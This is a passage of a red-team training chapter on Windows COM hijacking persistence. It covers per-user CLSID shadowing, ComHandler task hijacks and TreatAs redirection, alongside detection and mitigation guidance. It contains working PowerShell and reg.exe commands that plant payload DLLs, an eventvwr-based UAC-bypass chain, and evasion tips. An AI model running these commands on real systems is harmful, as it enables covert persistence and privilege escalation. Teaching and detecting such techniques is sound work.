mirror of
https://github.com/An0nUD4Y/Offensive-COM
synced 2026-07-20 09:09:57 +00:00
796 lines
71 KiB
Markdown
796 lines
71 KiB
Markdown
# 05 · COM Persistence & Hijacking
|
||
|
||
> **Audience / level:** Red team operators and detection engineers; no COM internals assumed at the start, ramping to in-the-wild tradecraft and original research methodology. **Prerequisites:** basic Windows registry literacy (hives, `reg.exe`, Regedit), PowerShell basics, and the activation fundamentals from the earlier chapters (helpful but not required — section 1 rebuilds them). **Estimated reading time:** 90–120 minutes.
|
||
> After this chapter you will be able to explain exactly how COM activation resolves through the registry, plant per-user persistence that no default Autoruns view shows, reproduce every documented hijack family (CLSID, ComHandler, TreatAs, TypeLib, phantom objects) in a lab, build a pass-through proxy DLL that keeps the host stable, and hunt for *new* hijackable classes on your own.
|
||
|
||
**Contents**
|
||
- [1. From zero: how COM activation resolves through the registry](#1-from-zero-how-com-activation-resolves-through-the-registry)
|
||
- [2. Persistence vectors](#2-persistence-vectors)
|
||
- [2.1 CLSID and InprocServer32 hijacking (per-user shadowing)](#21-clsid-and-inprocserver32-hijacking-per-user-shadowing)
|
||
- [2.2 Scheduled-task ComHandler persistence](#22-scheduled-task-comhandler-persistence-hijack-the-tasks-com-class)
|
||
- [2.3 TreatAs redirection (CoTreatAsClass)](#23-treatas-redirection-cotreatasclass)
|
||
- [2.4 TypeLib hijacking and the script: moniker](#24-typelib-hijacking-and-the-script-moniker-fileless-url-rearming-persistence)
|
||
- [2.5 ProgID hijacking](#25-progid-hijacking-name-based-resolution-shadowing)
|
||
- [2.6 Phantom objects and the ClickOnce variant](#26-phantom-objects-and-the-clickonce-variant-register-what-was-never-there)
|
||
- [2.7 Pass-through proxy DLL persistence](#27-pass-through-proxy-dll-persistence-stability-tradecraft-for-every-vector-above)
|
||
- [3. Tooling](#3-tooling)
|
||
- [4. Detection and hunting](#4-detection-and-hunting)
|
||
- [5. Mitigations and hardening](#5-mitigations-and-hardening)
|
||
- [Research Lab: Discovering New COM Persistence](#research-lab-discovering-new-com-persistence)
|
||
- [References](#references)
|
||
|
||
---
|
||
|
||
## 1. From zero: how COM activation resolves through the registry
|
||
|
||
The Component Object Model (COM) is Windows' binary interface standard: a client asks for an object by a class identifier and receives interface pointers it can call methods on. The operating system — not the client — decides *which binary* backs that class, and it decides by reading the registry. Whoever controls the registry entry controls the code that runs. That single fact is the entire foundation of COM persistence.
|
||
|
||
> **Beginner note:** A **CLSID** (class identifier) is a 128-bit GUID, conventionally written `{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}`, that names a COM class. A **COM server** is the binary that implements the class — either a DLL loaded into the caller's process (`InprocServer32`) or an EXE launched as a separate process (`LocalServer32`). The client activates the class with `CoCreateInstance(CLSID, ...)`, and the COM runtime (`ole32.dll` / `combase.dll`) looks the CLSID up in the registry to find the server path. The client never needs to know where the binary lives — which is exactly why swapping the path is invisible to it.
|
||
|
||
**`HKEY_CLASSES_ROOT` is not a real hive.** It is a *merged view*, constructed at query time, of two underlying locations ([2]):
|
||
|
||
- `HKLM\SOFTWARE\Classes` — machine-wide registrations, writable only by administrators.
|
||
- `HKCU\SOFTWARE\Classes` — per-user registrations, writable by the owning (unprivileged) user.
|
||
|
||
When the same subkey or value exists in both, **the per-user (HKCU) entry wins**. Microsoft's own documentation of the merged view states this precedence explicitly ([2]). Physically, the per-user data lives in the user's hive files (`NTUSER.DAT` and `UsrClass.dat`, surfaced to tools as `HKU\<SID>\Software\Classes` and `HKU\<SID>_Classes`) and is re-read at every logon ([4], [5]).
|
||
|
||
> **Key idea:** Because HKCU shadows HKLM at merge time, *any* COM class registered machine-wide can be redirected per-user with zero privileges. No admin rights, no service, no driver, no autostart entry — just a handful of values under `HKCU\Software\Classes`. This is the root primitive behind every technique in this chapter.
|
||
|
||

|
||
*How to read this figure: `HKCR\CLSID\{...}` is a funnel over `HKCU\Software\Classes` (top) and `HKLM\SOFTWARE\Classes` (bottom). Where both define the same key, the HKCU copy — shown in red — eclipses the HKLM original for that user only, and the merge happens at query time with no admin check.*
|
||
|
||
**The resolution path.** For an in-process activation of `CoCreateInstance(CLSID, ...)`, the COM runtime consults, in order ([4]):
|
||
|
||
1. `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` (or the `LocalServer32`, `InprocHandler32`, or `TreatAs` subkeys) — checked first;
|
||
2. `HKCR\CLSID\{CLSID}\...` — the merged view, effectively the HKLM registration if no HKCU shadow exists;
|
||
3. `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\` — a legacy shell fallback.
|
||
|
||
32-bit processes on 64-bit Windows additionally use the WoW64 reflection path `HKCU\Software\Classes\Wow6432Node\CLSID\...` — critical when the target process is 32-bit (the classic example being 32-bit Microsoft Office) ([4], [23]).
|
||
|
||
**Anatomy of an `InprocServer32` key.** The values that matter ([4]):
|
||
|
||
| Value | Type | Meaning |
|
||
|---|---|---|
|
||
| `(Default)` | `REG_SZ` / `REG_EXPAND_SZ` | Full path to the server DLL |
|
||
| `ThreadingModel` | `REG_SZ` | `Apartment` (STA), `Free` (MTA), `Both`, or `Neutral` — which COM apartment the object joins |
|
||
| `LoadWithoutCOM` | `REG_SZ` | Shell-only: honored by shell32 `SHCoCreateInstance` to load the DLL by path without full COM checks (abused in the eventvwr crossover, §2.1) |
|
||
|
||
> **Beginner note:** An **apartment** is COM's threading boundary. A *single-threaded apartment* (STA, `ThreadingModel=Apartment`) serializes calls to the object on one thread; a *multithreaded apartment* (MTA, `Free`) allows concurrent calls. `Both` means the object tolerates whichever apartment the client lives in. If the hijack registration declares a threading model the client does not expect, COM silently inserts proxy/stub marshaling between apartments — slow at best, a hung or crashed host at worst. Matching the original model is a stability requirement, not a nicety (§2.7).
|
||
|
||
**`InprocServer32` vs `LocalServer32`.** The two server shapes behave very differently as persistence ([4]):
|
||
|
||
- `InprocServer32` → a DLL mapped into the *caller's* process via `LoadLibrary`; `ole32`/`combase` then calls the exported `DllGetClassObject` to obtain the class factory. This is the most common persistence shape: your code runs inside a legitimate, often Microsoft-signed host (explorer.exe, taskhostw.exe, a browser) and inherits its integrity and reputation.
|
||
- `LocalServer32` → an EXE (or an arbitrary command line) launched as a new process by the DCOM Server Process Launcher (`svchost.exe -k DcomLaunch`) with the `-Embedding` switch. Because the value may include arguments, CrowdStrike demonstrated fileless persistence with `cmd.exe`/`powershell.exe` plus script arguments in a `LocalServer32` value ([16]). Detection anchor: a properly instantiated COM server spawns from `svchost.exe`; any other parent for an `-Embedding` command line is suspicious ([4]).
|
||
|
||
**Phantom, orphaned, and abandoned objects.** Two degenerate registration states are persistence gold ([4], [13], [16], [25]):
|
||
|
||
1. **Orphaned registrations** — the CLSID exists but the binary its `InprocServer32`/`LocalServer32` points to does not (leftovers of uninstalled software). bohops' canonical example is VMware Workstation's leftover `vmnetbridge.dll` registration at CLSID `{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}` ([4]). If the expected directory is attacker-writable, dropping a payload at the expected path hijacks the object **without touching the registry at all**; if only the registry is writable (HKCU shadow), you do not even need the original path.
|
||
2. **Undefined-but-referenced classes** — programs call `CoCreateInstance` on CLSIDs that are not registered anywhere (ProcMon shows `NAME NOT FOUND`). Registering that CLSID yourself in HKCU creates a brand-new "phantom" object the program then loads. Advantages over classic hijacking: **no legitimate value is overwritten, no functionality breaks, and there is nothing to diff** (CrowdStrike ClickOnce research, 2025 ([16]); pentestlab/SpecterOps methodology ([15], [25])).
|
||
|
||
**Why this persistence survives and stays quiet.** Three properties make COM hijacking a tier-one userland persistence mechanism ([4], [5]):
|
||
|
||
- It lives **entirely in the registry**, inside the user's own hive files, re-read at every logon. There is no Run-key entry, no service, no scheduled-task modification for a defender to enumerate.
|
||
- The trigger is **normal system activity**: a legitimate, frequently Microsoft-signed process (explorer.exe, taskhostw.exe, svchost.exe, OUTLOOK.EXE, browsers) performs the `LoadLibrary` of your DLL. Execution inherits the host's integrity level and reputation, and no new suspicious process appears.
|
||
- **Autoruns has a blind spot**: Sysinternals Autoruns enumerates only specific COM categories and does not diff the full `HKCU\Software\Classes\CLSID` tree against HKLM, so a classic per-user CLSID shadow is invisible in default views. Even when a Run-key launcher is used (`rundll32.exe -sta {CLSID}` or `mmc.exe -Embedding payload.msc`), the visible autorun points at a signed Microsoft binary while the payload path hides in the Classes hive ([5]).
|
||
|
||
> **Warning:** MITRE ATT&CK maps COM hijacking as **T1546.015** under *both* Persistence and Privilege Escalation tactics ([1]). The privesc angle is real: when the triggering host auto-elevates (eventvwr.exe, §2.1), a per-user hijack converts Medium-integrity code execution into a High-integrity payload with no prompt.
|
||
|
||
> **Legal:** Every technique in this chapter executes arbitrary code on a target host and several survive reboots. Use only on systems you own or are explicitly authorized to test, inside written scope. The same registry writes are high-signal detection opportunities — assume a competent blue team is watching.
|
||
|
||
---
|
||
|
||
## 2. Persistence vectors
|
||
|
||
Each vector below follows the same template: MITRE mapping, publication history, numbered mechanics, prerequisites, a lab-runnable proof of concept, the telemetry it leaves, and mitigations. All of them reduce to one primitive from section 1 — a per-user registration that wins the HKCR merge — differing only in *which* registry structure the client resolves (CLSID, task-handler class, `TreatAs` link, TypeLib, ProgID, or a dangling reference).
|
||
|
||
### 2.1 CLSID and InprocServer32 hijacking (per-user shadowing)
|
||
|
||
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** first public discussion of per-user COM abuse by Jon Larimer, 2011 (per leoloobeek ([11])); earliest vendor documentation G-Data, Oct 2014 ([6]) · **Affects:** all Windows builds implementing the HKCR per-user merge (verify in lab for specific builds)
|
||
|
||
The canonical COM persistence technique: pick a CLSID that a desirable, frequently-running host process instantiates, and register the same CLSID under `HKCU\Software\Classes\CLSID` with an `InprocServer32` pointing at your DLL. The HKCU shadow wins the merge, the host loads your code, and the machine-wide registration is never touched ([4], [5], [6]). The technique has been used in the wild by APT28/Sednit (Seduploader, JHUHUGIT) ([19], [37]), Turla's ComRAT ([38]), BBSRAT, PcShare, and a long tail of others ([1]).
|
||
|
||

|
||
*How to read this figure: a client process (e.g. explorer.exe) calls `CoCreateInstance`, combase resolves the CLSID through the registry, and the HKCU `InprocServer32` naming the attacker DLL (red path) is consulted before — and shadows — the legitimate HKLM registration (greyed path). `LoadLibrary` then maps the attacker DLL into the client and `DllGetClassObject` runs.*
|
||
|
||
#### Mechanics
|
||
|
||
1. **Target selection.** Identify a CLSID instantiated by an auto-start, Microsoft-signed host in the user's session — explorer.exe, taskhostw.exe, a browser, Outlook (see documented cases below and the Research Lab).
|
||
2. **Verify the baseline.** Confirm the HKLM registration exists (so client code keeps working) and that no HKCU shadow already exists.
|
||
3. **Plant the shadow.** Create `HKCU\Software\Classes\CLSID\{CLSID}\InprocServer32` with `(Default)` = path to the payload DLL and `ThreadingModel` matching the HKLM original.
|
||
4. **Trigger.** Wait for — or force — the host to activate the class. At the next logon (or immediately, via `rundll32.exe -sta {CLSID}` or by launching the host), the runtime resolves the HKCU entry and `LoadLibrary`s your DLL inside the host.
|
||
5. **Stay stable.** The payload DLL should proxy the real server (§2.7) so the host receives the interface pointers it expects and nothing user-visible breaks.
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user (write access to own HKCU) |
|
||
| OS/build | Any Windows with the HKCR per-user merge; WoW6432Node path needed for 32-bit targets ([4], [23]) |
|
||
| Config | Target CLSID instantiated by a process in the user's session; payload DLL on disk readable by the host |
|
||
| Payload | DLL exporting `DllGetClassObject`/`DllCanUnloadNow`; pass-through recommended (§2.7) |
|
||
|
||
#### Proof of concept
|
||
|
||
```powershell
|
||
# Per-user CLSID shadow of CAccPropServicesClass (mirrors Atomic Red Team T1546.015 Test #1 [29])
|
||
$clsid = '{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}'
|
||
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
|
||
New-Item -Path $base -Force | Out-Null
|
||
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\payload.dll"
|
||
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Apartment'
|
||
# Immediate trigger (signed Microsoft invoker):
|
||
# rundll32.exe -sta $clsid
|
||
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
|
||
```
|
||
|
||
#### Documented hijackable CLSIDs and in-the-wild cases
|
||
|
||
- **`{0A29FF9E-7F9C-4437-8B11-F424491E3931}` — Event Viewer MMC snap-in class (persistence + UAC crossover).** Loaded by `eventvwr.exe` (auto-elevated) and by `mmc.exe eventvwr.msc`; the HKCU shadow path is free. Because eventvwr auto-elevates, the payload loads at High integrity — a persistence-to-privesc chain; the tradeoff is that it is user-triggered (someone must open Event Viewer) ([28], [22]). Documented by hfiref0x/UACME and Metasploit's `exploit/windows/local/bypassuac_comhijack`; 3gstudent lists it among HKCU CLSID hijacks of elevated programs alongside `{B29D466A-857D-35BA-8712-A758861BFEA1}`, `{D5AB5662-131D-453D-88C8-9BBA87502ADE}`, and `{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}` ([22], [28]). Related but distinct: enigma0x3's "fileless" eventvwr UAC bypass pivots on `HKCU\Software\Classes\mscfile\shell\open\command` — a file association, not a CLSID — implemented in `Invoke-EventVwrBypass.ps1` ([9]).
|
||
|
||
```text
|
||
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "" /t REG_SZ /d "C:\path\payload.dll" /f
|
||
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "LoadWithoutCOM" /t REG_SZ /d "" /f
|
||
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InProcServer32" /v "ThreadingModel" /t REG_SZ /d "Apartment" /f
|
||
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "HideOnDesktop" /t REG_SZ /d "" /f
|
||
reg add "HKCU\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0xf090013d /f
|
||
```
|
||
|
||
(`0xf090013d` is the SFGAO attribute combination the shell requires to accept the object ([28]).)
|
||
|
||
- **`{BCDE0395-E52F-467C-8E3D-C4579291692E}` — MMDeviceEnumerator (audio endpoint enumerator, `mmdevapi.dll`).** Instantiated by **explorer.exe at every logon** and by virtually every audio-touching process (Firefox documented; media players, browsers, VOIP clients) — an extremely reliable trigger. **In the wild:** APT28/Sednit's Seduploader combined `HKCU\Environment\UserInitMprLogonScript` with an MMDeviceEnumerator COM hijack; per Cisco Talos, the payload would execute "by rundll32.exe ... or by explorer.exe if the COM Object hijack is performed" ([19]); MITRE's APT28 page (G0007) cites the behavior ([37]), and FireEye/Mandiant documented JHUHUGIT hijacking MMDeviceEnumerator while also registering as a Shell Icon Overlay handler. A 2019 Chinese-research PoC staged the DLL as `%APPDATA%\Microsoft\Installer\{BCDE0395-...}\test._dl` with `ThreadingModel=Apartment`, triggered via iexplore.exe. Reference telemetry exists: sbousseaden's EVTX-ATTACK-SAMPLES ships `persist_firefox_comhijack_sysmon_11_13_7_1.evtx`, a Sysmon capture of an MMDeviceEnumerator hijack via Firefox ([30]).
|
||
|
||
- **`{42AEDC87-2188-41FD-B9A3-0C966FEABEC1}` — MruPidlList (shell32).** Loaded by **explorer.exe at every shell start** and repeatedly throughout the session — the classic, most-abused persistence CLSID. **In the wild:** Turla's **ComRAT** replaces the path to shell32.dll in `{42aedc87-...}\InprocServer32` (MITRE S0126 ([38])); **BBSRAT** pairs MruPidlList on one architecture with `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}` ("Microsoft WBEM New Event Subsystem") on the other (Palo Alto); **PcShare** uses the HKCU shadow of `{42aedc87-...}`; SILENTTRINITY references it ([1]). G-Data's October 2014 write-up — MITRE's citation for the technique — described exactly this class ([6]).
|
||
|
||
- **`{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}` — CAccPropServicesClass (MSAA "AccPropServices", `oleacc.dll`).** Microsoft's Active Accessibility property server, instantiated by many UI processes (browsers, Office) — high trigger frequency. 32-bit confirmed; 64-bit caveats reported (verify in lab). Documented in bohops' research ([4]); **Atomic Red Team T1546.015 Test #1** uses exactly this CLSID with `rundll32.exe -sta {B5F8350B-...}` as invoker ([29]).
|
||
|
||
- **Browser/WebView2 targets (SpecterOps, May 2025).** `msedgewebview2.exe`, `msedge.exe`, `explorer.exe`, and `chrome.exe` all query HKCU for `{54E211B6-3650-4F75-8334-FA359598E1C5}` (InprocServer32 = `%SystemRoot%\system32\directmanipulation.dll`, `ThreadingModel=Both`) and `{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}` — hijacking yields execution inside browser processes when combined with export-forwarding stubs (FaceDancer / Koppeling) ([15]).
|
||
|
||
- **Shell extension classes** enumerated in NCC acCOMplice's `masterkeys.csv`, e.g. `{69486DD6-C19F-42E8-B508-A53F9F8E67B8}`, `{9E175B6D-F52A-11D8-B9A5-505054503030}`, `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}` ([13]).
|
||
|
||
- **Defender watchlist (startupdefense, via the research corpus):** `{42aedc87-2188-41fd-b9a3-0c966feabec1}`, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}`, `{E6D34FFC-AD32-4d6a-934C-D387FA873A19}`, `{3543619C-D563-43f7-95EA-4DA7E1CC396A}`.
|
||
|
||
#### OpSec & detection
|
||
|
||
- **Sysmon:** EID 12 (key create/delete) / 13 (value set) on `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` — especially `InprocServer32` writes pointing outside `%SystemRoot%\System32` and `Program Files` ([31], [33]).
|
||
- **Baseline diff:** an HKCU CLSID shadowing an HKLM CLSID *with a different server path* is near-zero false positive (this is exactly Elastic's prebuilt rule logic ([34])).
|
||
- **Invoker command lines:** `rundll32.exe -sta {CLSID}` (note the `-sta` flag tolerates junk suffixes such as `-stagggg`), `verclsid.exe /S /C {CLSID}`, `xwizard.exe RunWizard /taero /u {CLSID}`, `mmc.exe -Embedding <file.msc>` with a non-svchost parent.
|
||
- **Noise reduction for operators:** pass-through proxying (§2.7) prevents host crashes (WerFault, UI hangs) that would otherwise betray the hijack; stage the DLL under a plausible per-user path such as `%APPDATA%\Microsoft\...` as the ITW actors did.
|
||
|
||
#### Mitigations
|
||
|
||
- Alert on HKCU `CLSID` writes that shadow HKLM registrations (Sigma/Elastic rules in §4); baseline-export and diff `HKCU\Software\Classes\CLSID` and `UsrClass.dat` against a gold image.
|
||
- Cross-check Sysmon EID 7 (image load) for explorer/svchost/taskhostw loading DLLs from outside System32.
|
||
- Treat per-user registry persistence as in-scope for EDR auto-remediation — deleting the shadow key restores the HKLM registration with no collateral damage.
|
||
|
||
---
|
||
|
||
### 2.2 Scheduled-task ComHandler persistence (hijack the task's COM class)
|
||
|
||
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** enigma0x3, May 2016 ([7]) · **Affects:** Windows builds shipping user-context ComHandler tasks (e.g. the WinINet CacheTask; verify per build in lab)
|
||
|
||
Scheduled tasks whose action is a **COM handler** (`<ComHandler><ClassId>{...}</ClassId>` in the task XML) do not launch a binary — the Task Scheduler activates the specified CLSID inside the task host when the task fires. Hijacking is therefore not a task modification at all: shadow the handler CLSID in HKCU, and every time the stock, Microsoft-signed task fires, your DLL runs ([7], [10]). The task itself remains byte-identical, so task-enumeration-based persistence audits see nothing.
|
||
|
||
#### Mechanics
|
||
|
||
1. **Enumerate** scheduled tasks with ComHandler actions that run in a user context with enabled triggers — enigma0x3's `Get-ScheduledTaskComHandler.ps1` ([8]) or the PowerShell loop below.
|
||
2. **Pick a handler CLSID** with a frequent trigger. The documented favorite: `{0358B920-0AC7-461F-98F4-58E32CD89148}` — the **WinINet CacheTask** (`C:\Windows\System32\Tasks\Microsoft\Windows\Wininet\CacheTask`), whose legitimate InprocServer32 is `%systemroot%\system32\wininet.dll`, `ThreadingModel=Both`, trigger = **logon of any user**. Its HKLM key is TrustedInstaller-owned, but the HKCU shadow needs no such rights; MDSec's walkthrough (Dominic Chell, May 2019) executes `c:\tools\demo.dll` at logon this way ([10]).
|
||
3. **Confirm** the HKLM registration and its `ThreadingModel=Both`; confirm no existing HKCU shadow.
|
||
4. **Shadow** `HKCU\Software\Classes\CLSID\{0358B920-...}\InprocServer32` → payload stub DLL; `ThreadingModel=Both`.
|
||
5. **Drop a pass-through stub** forwarding to `C:\Windows\System32\wininet.dll` (§2.7) so the cache task still works.
|
||
6. At the **next logon**, Task Scheduler fires CacheTask → the task host resolves the CLSID → HKCU wins → the stub loads inside the task host, runs its payload thread, and proxies everything to wininet.dll. No autostart entries, no broken task ([10]).
|
||
|
||
The generic hunter (from the research corpus):
|
||
|
||
```powershell
|
||
$Tasks = Get-ScheduledTask
|
||
foreach ($Task in $Tasks) {
|
||
if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
|
||
Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
|
||
}
|
||
}
|
||
```
|
||
|
||
Other documented handler CLSIDs:
|
||
|
||
| CLSID | Task / context | Source |
|
||
|---|---|---|
|
||
| `{0358B920-0AC7-461F-98F4-58E32CD89148}` | WinINet CacheTask; logon of any user; `wininet.dll`, `ThreadingModel=Both` | MDSec ([10]) |
|
||
| `{A6BA00FE-40E8-477C-B713-C64A14F18ADB}` | `WindowsUpdate\Automatic App Update` task (ComHandler) | enigma0x3 ([7]) |
|
||
| `{2DEA658F-54C1-4227-AF9B-260AB5FC3543}` | ITW (UNC2529): attacker registered their own payload CLSID and added a `TreatAs` under this legitimate task-loaded CLSID → payload every user logon | FireEye/Mandiant ([20]) |
|
||
| `{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}` | *Training example* (ZeroPoint RTO; COM-Hunter readme; snovvcrash). Friendly name unconfirmed — do not rely on it in production targets. | ([14]) |
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user (HKCU write) |
|
||
| OS/build | A user-context ComHandler task with an enabled logon/idle trigger must exist (CacheTask on stock Windows) |
|
||
| Config | Handler CLSID registered in HKLM; no pre-existing HKCU shadow |
|
||
| Payload | Pass-through stub matching the original `ThreadingModel` |
|
||
|
||
#### Proof of concept
|
||
|
||
```powershell
|
||
# Shadow the CacheTask handler CLSID per-user (lab only)
|
||
$clsid = '{0358B920-0AC7-461F-98F4-58E32CD89148}'
|
||
$base = "HKCU:\Software\Classes\CLSID\$clsid\InprocServer32"
|
||
New-Item -Path $base -Force | Out-Null
|
||
Set-ItemProperty -Path $base -Name '(Default)' -Value "$env:APPDATA\stub.dll" # forwards to wininet.dll
|
||
Set-ItemProperty -Path $base -Name 'ThreadingModel' -Value 'Both'
|
||
# Trigger: log off/on, or run the task: schtasks /run /tn "Microsoft\Windows\Wininet\CacheTask"
|
||
# Cleanup: Remove-Item "HKCU:\Software\Classes\CLSID\$clsid" -Recurse -Force
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- Registry telemetry identical to §2.1 (Sysmon 12/13 on the shadow write); the trigger process is the signed task host, so process-based whitelisting alone will not catch execution.
|
||
- Defender angle: enumerate ComHandler tasks (script above), then diff each handler CLSID's HKCU vs HKLM registration — a mismatch is a finding.
|
||
- Operator angle: `schtasks /run` can force the trigger for testing; the stub must keep the task functional or repeated failures become user-visible.
|
||
|
||
#### Mitigations
|
||
|
||
- Alert on HKCU shadows of handler CLSIDs returned by ComHandler enumeration; baseline-diff the Classes hive (§4).
|
||
- Watch for task-host processes loading DLLs from per-user paths (Sysmon EID 7).
|
||
|
||
---
|
||
|
||
### 2.3 TreatAs redirection (CoTreatAsClass)
|
||
|
||
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) · **Since:** documented by enigma0x3 + subTee ("Windows Operating System Archaeology", via bohops Part 2 ([5])) and Hexacorn "Beyond good ol' Run key, Part 84" (2018) ([21]) · **Affects:** all COM builds implementing `TreatAs` emulation ([3])
|
||
|
||
`TreatAs` is a documented COM feature: the key `HKCR\CLSID\{A}\TreatAs` (default value = `{B}`) declares that class `{B}` "can emulate" class `{A}`, so `CoCreateInstance({A})` silently resolves to `{B}` ([3]). The APIs are `CoGetTreatAsClass()` and `CoTreatAsClass()`; related machinery includes the `AutoTreatAs` value and the `Emulated` subkey. Because `TreatAs` is a *key* rather than a modification of `{A}`'s server values, an attacker can add it in HKCU **without ever touching `{A}`'s InprocServer32** — evading detections that only watch InprocServer32 writes ([5]).
|
||
|
||
#### Mechanics
|
||
|
||
1. **Register the attacker class** `{B}` per-user: `HKCU\Software\Classes\CLSID\{B}\InprocServer32` → payload DLL (+ matching `ThreadingModel`, optional ProgID).
|
||
2. **Link the legitimate class** `{A}`: create `HKCU\Software\Classes\CLSID\{A}\TreatAs` with default value `{B}`.
|
||
3. Any client instantiating `{A}` is transparently handed `{B}` — your code. `{A}`'s own registration is never modified.
|
||
|
||
Documented example (enigma0x3 + subTee, via bohops Part 2 ([5]); Hexacorn Part 84 ([21])): `{3734FF83-6764-44B7-A1B9-55F56183CDB0}\TreatAs = {00000001-0000-0000-0000-0000FEEDACDC}` → a scrobj.dll `ScriptletURL` payload.
|
||
|
||
**In the wild — Turla's Outlook backdoor (ESET, August 2018) ([18]):**
|
||
|
||
```text
|
||
HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}
|
||
```
|
||
|
||
where `{49CBB1C7-...}` ("Mail Plugin") has `InprocServer32` = the backdoor DLL with `ThreadingModel=Apartment`. Result: the backdoor loads inside OUTLOOK.EXE at every launch. 3gstudent automated the chain in `Invoke-OutlookPersistence.ps1`, which handles the `Wow6432Node` reflection for 32-bit Office ([22], [23]). FireEye/Mandiant's UNC2529 used the same idea under a scheduled-task CLSID (§2.2) ([20]).
|
||
|
||

|
||
*How to read this figure: on the left, `CoCreateInstance({A})` hits an HKCU `TreatAs = {B}` link and resolves the attacker's class `{B}` — `{A}`'s InprocServer32 is never modified. On the right, an Automation client's `LoadTypeLib` resolves the TypeLib's `win64` value to a `script:` moniker and executes a scriptlet via scrobj.dll. Both paths are HKCU-only writes outside the classic `InprocServer32` detection focus.*
|
||
|
||
#### Prerequisites
|
||
|
||
| Requirement | Detail |
|
||
|---|---|
|
||
| Privileges | Standard user |
|
||
| OS/build | Any COM build; Wow6432Node placement for 32-bit clients (e.g. 32-bit Office) ([23]) |
|
||
| Config | A high-value client that activates `{A}` frequently (Outlook, shell, task host) |
|
||
| Payload | Attacker class `{B}` registered per-user with correct `ThreadingModel` |
|
||
|
||
#### Proof of concept
|
||
|
||
```powershell
|
||
# TreatAs link: clients activating {A} receive attacker class {B} (lab CLSIDs — illustrative)
|
||
$A = '{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}' # class the client requests (Turla ITW value)
|
||
$B = '{49CBB1C7-97D1-485A-9EC1-A26065633066}' # attacker "Mail Plugin" class
|
||
New-Item "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Force |
|
||
New-ItemProperty -Name '(Default)' -Value "$env:APPDATA\mailplugin.dll" | Out-Null
|
||
Set-ItemProperty "HKCU:\Software\Classes\CLSID\$B\InprocServer32" -Name 'ThreadingModel' -Value 'Apartment'
|
||
New-Item "HKCU:\Software\Classes\CLSID\$A\TreatAs" -Force |
|
||
New-ItemProperty -Name '(Default)' -Value $B | Out-Null
|
||
# Cleanup: remove both HKCU keys
|
||
```
|
||
|
||
#### OpSec & detection
|
||
|
||
- `TreatAs` writes under `HKU\<SID>*\Classes\CLSID\*` by non-svchost/non-Office processes are high-signal; SigmaHQ ships dedicated TreatAs rules ([31], [32]).
|
||
- The legitimate class's server path never changes, so naive InprocServer32 diffing misses this — defenders must diff *keys*, not just values.
|
||
- Operator note: prefer hijacking classes whose emulation by a third-party class is behaviorally plausible; Outlook plugin-style classes are the proven ITW choice ([18]).
|
||
|
||
#### Mitigations
|
||
|
||
- Sigma `registry_set_treatas_persistence` / `registry_set_persistence_com_key_linking` (§4); alert on any `ScriptletURL` value creation.
|
||
- Include `TreatAs` subkeys in gold-image hive diffs.
|
||
|
||
---
|
||
|
||
### 2.4 TypeLib hijacking and the script: moniker (fileless, URL-rearming persistence)
|
||
|
||
**MITRE:** [T1546.015](https://attack.mitre.org/techniques/T1546/015/) — updated in 2025 to add the TypeLib / `script:`-moniker variation, citing ReliaQuest ([1], [17]) · **Since:** in the wild March 2025, published April 2025 (ReliaQuest) ([17]) · **Affects:** any host whose Automation clients resolve type libraries through the HKCR merge (verify per build in lab)
|
||
|
||
This is the most important recent evolution of COM persistence and deserves treatment as a first-class technique, not a footnote. Classic hijacks redirect a **CLSID's server**; a TypeLib hijack redirects the **type library** that oleaut32 loads to marshal an Automation interface. Because the TypeLib registration lives under a different root (`HKCR\TypeLib`, not `HKCR\CLSID`), every detection rule keyed on `CLSID\...\InprocServer32` writes is blind to it ([17], [24]).
|
||
|
||
